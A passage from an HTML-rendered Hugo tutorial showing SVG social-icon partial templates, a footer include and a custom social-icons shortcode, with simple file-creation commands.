&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;viewBox&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0 0 24 24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fill&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;none&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;currentColor&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linecap&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linejoin&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polygon&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12 2 22 8.5 22 15.5 12 22 2 15.5 2 8.5 12 2&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polygon&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;line&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;22&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;15.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;line&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;22 8.5 12 15.5 2 8.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2 15.5 12 8.5 22 15.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;line&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;8.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;line&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- else if (eq .name &amp;#34;facebook&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;xmlns&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;feather&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;viewBox&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0 0 24 24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fill&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;none&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;currentColor&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linecap&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linejoin&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;path&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;d&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;M18 2h-3a5 5 0 0 0-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 0 1 1-1h3z&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;path&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- else if (eq .name &amp;#34;github&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&amp;lt;!-- ... --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can use this template in another layout we want. We want to add a list of social media icons in our footer, so we copy the themes &lt;code&gt;footer.html&lt;/code&gt; template in &lt;code&gt;layout/partials&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp themes/hello-friend/layouts/partials/footer.html layouts/partials
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we can add it anywhere we want like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- with .Site.Params.social }}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;social-icons&amp;#34;&lt;/span&gt;&amp;gt;{{ partialCached &amp;#34;social-icons.html&amp;#34; . }}&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- end }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="create-social-icons-shortcode"&gt;
Create Social Icons Shortcode
&lt;a href="#create-social-icons-shortcode" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we want to use the same social media icons template in a specific page e.g. the &lt;strong&gt;About&lt;/strong&gt; page, we can create a custom shortcode that has the same function as the &lt;code&gt;social-icons.html&lt;/code&gt; layout.&lt;/p&gt;
&lt;p&gt;We will first create a new social media icon shortcode. We will create a &lt;code&gt;social-shortcode.html&lt;/code&gt; template in &lt;code&gt;layout/shortcodes&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir shortcodes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch layouts/shortcodes/social-shortcode.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we will add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;socials&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{ range $.Page.Site.Params.social -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{{ .url | safeURL }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;_blank&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;rel&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;noopener me&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;{{ .name | humanize }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;margin-left:0.5em&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;gt;{{ partial &amp;#34;svg-large.html&amp;#34; . }}&amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {{- end -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is the same function but we just wrap the link tags with a &lt;code&gt;div&lt;/code&gt; because we will use it directly in the Markdown content.&lt;/p&gt;
&lt;p&gt;We will also create optionally a new &lt;code&gt;svg.html&lt;/code&gt; file that will have the same icons but with larger dimensions, so we create the &lt;code&gt;svg-large.html&lt;/code&gt; template in &lt;code&gt;layout/partials&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;touch layouts/partials/svg-large.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and we will add:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- if (eq .name &amp;#34;codepen&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;xmlns&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;feather&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;56&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;56&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;viewBox&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0 0 24 24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fill&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;none&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;currentColor&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linecap&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linejoin&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polygon&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12 2 22 8.5 22 15.5 12 22 2 15.5 2 8.5 12 2&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polygon&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;line&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;22&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;15.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;line&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;22 8.5 12 15.5 2 8.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;points&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2 15.5 12 8.5 22 15.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;polyline&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;line&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y1&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;y2&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;8.5&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style="color:#f92672"&gt;line&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{{- else if (eq .name &amp;#34;facebook&amp;#34;) -}}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;svg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;xmlns&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://www.w3.org/2000/svg&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;feather&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;56&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;height&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;56&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;viewBox&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;0 0 24 24&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;fill&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;none&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;currentColor&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-width&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linecap&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;stroke-linejoin&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;round&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;path&lt;/span&gt;
